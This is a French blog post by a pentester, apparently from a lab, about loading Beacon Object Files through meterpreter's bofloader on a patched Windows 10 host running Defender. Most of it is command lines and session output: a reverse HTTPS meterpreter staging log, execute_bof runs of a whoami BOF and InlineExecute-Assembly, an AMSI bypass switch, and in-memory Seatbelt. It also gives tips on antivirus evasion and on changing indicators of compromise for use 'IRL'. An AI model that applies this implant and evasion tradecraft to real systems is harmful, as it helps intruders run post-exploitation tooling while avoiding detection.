Mouais bof

Une fonctionnalité super utile ajoutée récemment à meterpreter c’est le support des BOF (Beacon Object File) tout droit sortis de Cobalt Strike (et Sliver, entre autres). Evidemment, utiliser meterpreter (l’implant hein, ne pas confondre avec Metasploit) en 2023 pour autre chose que du CTF/wargame est un peu risqué. Le truc est connu comme le loup blanc et réussir à en détoner un sur un environnement à jour est un challenge à part entière. Quand bien même on arriverait à passer la phase de chargement, le fait de passer dans un shell interactif pour exécuter un “whoami /priv” aboutit la plupart du temps à ce genre de résultat :

ohnoes

En fin d’année 2022, l’équipe de développement de Metasploit a ajouté une extension “bofloader” permettant l’exécution de BOF (Beacon Object Files) qui proviennent de l’univers Cobalt Strike et consistent en petits programmes qui peuvent se charger dans le même espace d’adressage que le beacon (l’implant). A l’époque j’avais fait quelques tests, mais j’avais rencontré quelques difficultés avec un BOF particulier, et qui après échange avec l’équipe de dev sur Slack s’est avérée être en réalité un bug dans COFFloader, sur lequel se repose l’extension bofloader. Une partie du problème se situait entre la chaise et le clavier (ouais, je ne passais pas forcément bien tous les paramètres), MAIS il y avait de toutes façons bien un bug dans le parsing du fichier objet. Le problème a, semble-t’il, été corrigé et j’ai refait quelques tests.

Bug report on slack

L’avantage d’utiliser bofloader dans meterpreter, c’est qu’il ne nécessite pas le chargement de l’extension stdapi, qui est chargée par défaut et malheureusement ultra connue des antivirus. On pourrait s’amuser à la modifier et la recompiler, mais c’est une autre histoire.

Voici en vrac les infos de mon environnement de test :

  • VM Windows 10 à jour
  • Antivirus Windows Defender à jour (du 29 mai 2023)

Le meterpreter a été exécuté avec un loader relativement standard mais capable de dissimuler ses véritables intentions, et le staging se fait en suivant les bonnes pratiques de 2023, à savoir :

  • reverse_winhttps (en suivant les instructions de mon post associé sur le blog)
  • staging chiffré
  • ne pas charger stdapi automatiquement

Lors de la réception de la connexion, on charge bofloader :

msf6 exploit(multi/handler) >
[!] https://192.168.250.155:443 handling request from 192.168.250.195; (UUID: 06qu18i2) Without a database connected that payload UUID tracking will not work!
[*] https://192.168.250.155:443 handling request from 192.168.250.195; (UUID: 06qu18i2) Meterpreter will verify SSL Certificate with SHA1 hash 8e967cd95ab42ea9275bfb827b3bd10fd37f286d
[*] https://192.168.250.155:443 handling request from 192.168.250.195; (UUID: 06qu18i2) Encoded stage with x64/xor_dynamic
[*] https://192.168.250.155:443 handling request from 192.168.250.195; (UUID: 06qu18i2) Staging x64 payload (202575 bytes) ...
[!] https://192.168.250.155:443 handling request from 192.168.250.195; (UUID: 06qu18i2) Without a database connected that payload UUID tracking will not work!
[*] Meterpreter session 22 opened (192.168.250.155:443 -> 192.168.250.195:50559) at 2023-05-29 16:06:59 +0200

msf6 exploit(multi/handler) > sessions -i 22
[*] Starting interaction with 22...

meterpreter > load bofloader
Loading extension bofloader...

meterpreter
   ▄▄▄▄    ▒█████    █████▒
  ▓█████▄ ▒██▒  ██▒▓██   ▒
  ▒██▒ ▄██▒██░  ██▒▒████ ░
  ▒██░█▀  ▒██   ██░░▓█▒  ░
  ░▓█  ▀█▓░ ████▓▒░░▒█░
  ░▒▓███▀▒░ ▒░▒░▒░  ▒ ░
  ▒░▒   ░   ░ ▒ ▒░  ░     ~ by @kev169, @GuhnooPluxLinux, @R0wdyJoe, @skylerknecht ~
   ░    ░ ░ ░ ░ ▒   ░ ░
   ░          ░ ░  loader
        ░

Success.
meterpreter >

Il existe un certain nombre de collections de BOF, dont :

Ici je vais utiliser le bof “whoami” que l’on peut trouver dans l’une de ces collections :

meterpreter > execute_bof /home/meik/pentest/implants/CS-Situational-Awareness-BOF/SA/whoami/whoami.x64.o                                                                            [*] No arguments specified, executing bof with no arguments.

UserName                SID
====================== ====================================
DESKTOP-GU12CU5\Jack Checbacca  S-1-5-21-2739652300-2198842417-2978622809-1000


GROUP INFORMATION                                 Type                     SID                                          Attributes
================================================= ===================== ============================================= ==================================================
DESKTOP-GU12CU5\Aucun                             Group                    S-1-5-21-2739652300-2198842417-2978622809-513 Mandatory group, Enabled by default, Enabled group,
Tout le monde                                     Well-known group         S-1-1-0                                       Mandatory group, Enabled by default, Enabled group,
AUTORITE NT\Compte local et membre du groupe AdministrateursWell-known group         S-1-5-114
BUILTIN\Administrateurs                           Alias                    S-1-5-32-544
BUILTIN\Utilisateurs                              Alias                    S-1-5-32-545                                  Mandatory group, Enabled by default, Enabled group,
AUTORITE NT\INTERACTIF                            Well-known group         S-1-5-4                                       Mandatory group, Enabled by default, Enabled group,
OUVERTURE DE SESSION DE CONSOLE                   Well-known group         S-1-2-1                                       Mandatory group, Enabled by default, Enabled group,
AUTORITE NT\Utilisateurs authentifis             Well-known group         S-1-5-11                                      Mandatory group, Enabled by default, Enabled group,
AUTORITE NT\Cette organisation                    Well-known group         S-1-5-15                                      Mandatory group, Enabled by default, Enabled group,
AUTORITE NT\Compte local                          Well-known group         S-1-5-113                                     Mandatory group, Enabled by default, Enabled group,
LOCAL                                             Well-known group         S-1-2-0                                       Mandatory group, Enabled by default, Enabled group,
AUTORITE NT\Authentifications NTLM                Well-known group         S-1-5-64-10                                   Mandatory group, Enabled by default, Enabled group,
tiquette obligatoire\Niveau obligatoire moyen    Label                    S-1-16-8192                                   Mandatory group, Enabled by default, Enabled group,


Privilege Name                Description                                       State
============================= ================================================= ===========================
SeShutdownPrivilege           Arrter le systme                                Disabled
SeChangeNotifyPrivilege       Contourner la vrification de parcours            Enabled
SeUndockPrivilege             Retirer lordinateur de la station daccueil      Disabled
SeIncreaseWorkingSetPrivilege Augmenter une plage de travail de processus       Disabled
SeTimeZonePrivilege           Changer le fuseau horaire                         Disabled

meterpreter >

Ca semble plutôt bien fonctionner. Maintenant, les capacités des BOF sont assez incroyables et on est globalement limité par notre imagination. En revanche, ce qui est pas mal c’est qu’au niveau capacités, ils restent assez atomiques.

Executer des assemblies .NET

On peut quand même avoir envie d’exécuter des programmes plus complets. Je ne vais pas refaire l’historique des différentes manières d’exécuter des programmes plus ou moins malveillants sur un système, mais il n’y a pas si longtemps que ça, la grosse hype c’était d’exécuter des scripts powershell (avec powerpick dans Cobalt Strike, pour lancer Host-Recon.ps1 ou PowerView.ps1 et faire de la situational awareness sur une machine compromise), et ensuite la mode est passée à l’exécution de programmes .NET en mémoire (genre execute-assembly pour charger Seatbelt ou Rubeus). Metasploit dispose de différentes solutions pour faire ça :

  • post/windows/manage/exec_powershell
  • post/windows/manage/execute_dotnet_assembly Il existe également une extension meterpreter pour powershell (load powershell). Manque de chance, dans tous les cas, ces manières d’exécuter du powershell ou des assemblies .net sont détectées et bloquées par la plupart des antivirus décents du marché.

Un bof existe pour faire de l’exécution d’assemblies .NET de manière inline (tl;dr on utilise pas de processus sacrificiel vu que c’est un bof, qui s’exécute donc dans le même espace que l’implant) :

C’est à l’occasion de tests de ce bof que je suis tombé sur un bug de COFFloader il y a quelques mois. Le bug a été corrigé, j’ai donc effectué les tests que je voulais faire. On va déjà commencer avec un bête Hello World en C# :

meterpreter > execute_bof /home/meik/pentest/implants/InlineExecute-Assembly/inlineExecuteAssembly/inlineExecute-Assemblyx64.o --format-string ziiiiizzzib "totesLegit" 0 0 0 0 1 "totesLegit" "totesLegit" "" 4096 file:/tmp/hello.exe


Hello, World

[+] inlineExecute-Assembly Finished

Ca marche parfaitement. Avant de passer à la suite, voici les explications sur quelques paramètres :

  • –format-string ziiiiizzzib : le nombre et le type des paramètres. Un ‘z’ correspond à une chaine terminée par un 0, un ‘i’ à un entier. ‘b’ correspond à des données binaires (ici on passe une forme de file descriptor vers le binaire que l’on souhaite exécuter)
  • 4096 : la taille de mon exe en octets
  • file:/tmp/hello.exe : le chemin vers mon assembly .NET

Et si maintenant on essayait de charger un Seatbelt ?

meterpreter > execute_bof /home/meik/pentest/implants/InlineExecute-Assembly/inlineExecuteAssembly/inlineExecute-Assemblyx64.o --format-string ziiiiizzzib "totesLegit" 0 0 0 0 1 "totesLegit" "totesLegit" "PowerShellHistory" 556032 file:/tmp/sb2.exe
[-] Process refusing to load AppDomain of v4.0.30319 CLR version.  Try running an assembly that requires a differnt CLR version.

Ok alors je ne suis pas un expert, mais j’ai l’impression qu’un truc ne fonctionne pas. Manque de bol, en revenant en arrière pour essayer de charger à nouveau mon Hello World, ce dernier ne fonctionne plus :(

meterpreter > execute_bof /home/meik/pentest/implants/InlineExecute-Assembly/inlineExecuteAssembly/inlineExecute-Assemblyx64.o --format-string ziiiiizzzib "totesLegit" 0 0 0 0 1 "totesLegit" "totesLegit" "" 4096 file:/tmp/hello.exe



[+] inlineExecute-Assembly Finished

On dirait que j’ai tout cassé. Je relance mon implant, après tout c’est un environnement de test. Puis je vais essayer la fonction de bypass AMSI intégrée au BOF. C’est le premier entier que l’on va trouver dans la série de 1 et 0 dans la ligne de commandes :

meterpreter > execute_bof /home/meik/pentest/implants/InlineExecute-Assembly/inlineExecuteAssembly/inlineExecute-Assemblyx64.o --format-string ziiiiizzzib "totesLegit" 1 0 0 0 1 "totesLegit" "totesLegit" "" 556032 file:/tmp/sb2.exe




                        %&&@@@&&
                        &&&&&&&%%%,                       #&&@@@@@@%%%%%%###############%
                        &%&   %&%%                        &////(((&%%%%%#%################//((((###%%%%%%%%%%%%%%%
%%%%%%%%%%%######%%%#%%####%  &%%**#                      @////(((&%%%%%%######################(((((((((((((((((((
#%#%%%%%%%#######%#%%#######  %&%,,,,,,,,,,,,,,,,         @////(((&%%%%%#%#####################(((((((((((((((((((
#%#%%%%%%#####%%#%#%%#######  %%%,,,,,,  ,,.   ,,         @////(((&%%%%%%%######################(#(((#(#((((((((((
#####%%%####################  &%%......  ...   ..         @////(((&%%%%%%%###############%######((#(#(####((((((((
#######%##########%#########  %%%......  ...   ..         @////(((&%%%%%#########################(#(#######((#####
###%##%%####################  &%%...............          @////(((&%%%%%%%%##############%#######(#########((#####
#####%######################  %%%..                       @////(((&%%%%%%%################
                        &%&   %%%%%      Seatbelt         %////(((&%%%%%%%%#############*
                        &%%&&&%%%%%        v1.1.1         ,(((&%%%%%%%%%%%%%%%%%,
                         #%%%%##,


ERROR: Error running command "C:\Users\Jack"
ERROR: Error running command "Checbacca\Desktop\cmd.exe"


[*] Completed collection in 0,009 seconds


[+] inlineExecute-Assembly Finished

Cette fois on a bien Seatbelt qui s’exécute, mais qui se termine vu que je ne lui ai pas donné de commande. Je ne vais pas laisser davantage de suspens, mais à part modifier le programme en lui même, je n’ai pas réussi à lui passer de commande de type “-group=all”, le parser de paramètres de COFFloader et du BOF ont une gestion un peu étrange dès lors qu’on cherche à passer des tirets (-). Mais passer des commandes simples fonctionne plutôt bien, comme par exemple ici avec “tokenGroups” :

meterpreter > execute_bof /home/meik/pentest/implants/InlineExecute-Assembly/inlineExecuteAssembly/inlineExecute-Assemblyx64.o --format-string ziiiiizzzib "totesLegit" 1 0 0 0 1 "totesLegit" "totesLegit" "tokenGroups" 556032 file:/tmp/sb2.exe




                        %&&@@@&&
                        &&&&&&&%%%,                       #&&@@@@@@%%%%%%###############%
                        &%&   %&%%                        &////(((&%%%%%#%################//((((###%%%%%%%%%%%%%%%
%%%%%%%%%%%######%%%#%%####%  &%%**#                      @////(((&%%%%%%######################(((((((((((((((((((
#%#%%%%%%%#######%#%%#######  %&%,,,,,,,,,,,,,,,,         @////(((&%%%%%#%#####################(((((((((((((((((((
#%#%%%%%%#####%%#%#%%#######  %%%,,,,,,  ,,.   ,,         @////(((&%%%%%%%######################(#(((#(#((((((((((
#####%%%####################  &%%......  ...   ..         @////(((&%%%%%%%###############%######((#(#(####((((((((
#######%##########%#########  %%%......  ...   ..         @////(((&%%%%%#########################(#(#######((#####
###%##%%####################  &%%...............          @////(((&%%%%%%%%##############%#######(#########((#####
#####%######################  %%%..                       @////(((&%%%%%%%################
                        &%&   %%%%%      Seatbelt         %////(((&%%%%%%%%#############*
                        &%%&&&%%%%%        v1.1.1         ,(((&%%%%%%%%%%%%%%%%%,
                         #%%%%##,


====== TokenGroups ======

Current Token's Groups

  DESKTOP-GU12CU5\Aucun                    S-1-5-21-2739652300-2198842417-2978622809-513
  Tout le monde                            S-1-1-0
  BUILTIN\Utilisateurs                     S-1-5-32-545
  AUTORITE NT\INTERACTIF                   S-1-5-4
  OUVERTURE DE SESSION DE CONSOLE          S-1-2-1
  AUTORITE NT\Utilisateurs authentifis    S-1-5-11
  AUTORITE NT\Cette organisation           S-1-5-15
  AUTORITE NT\Compte local                 S-1-5-113
  LOCAL                                    S-1-2-0
  AUTORITE NT\Authentifications NTLM       S-1-5-64-10


[*] Completed collection in 0,191 seconds


[+] inlineExecute-Assembly Finished

On peut contourner ça en passant plusieurs commandes (séparées par un espace). Info additionnelle, les “totesLegit” servent d’indicateur de compromission, il est donc recommandé de les modifier si l’on souhaite s’en servir IRL.

C’est tout pour aujourd’hui. Si je venais à découvrir des nouveautés, cet article sera mis à jour en conséquence.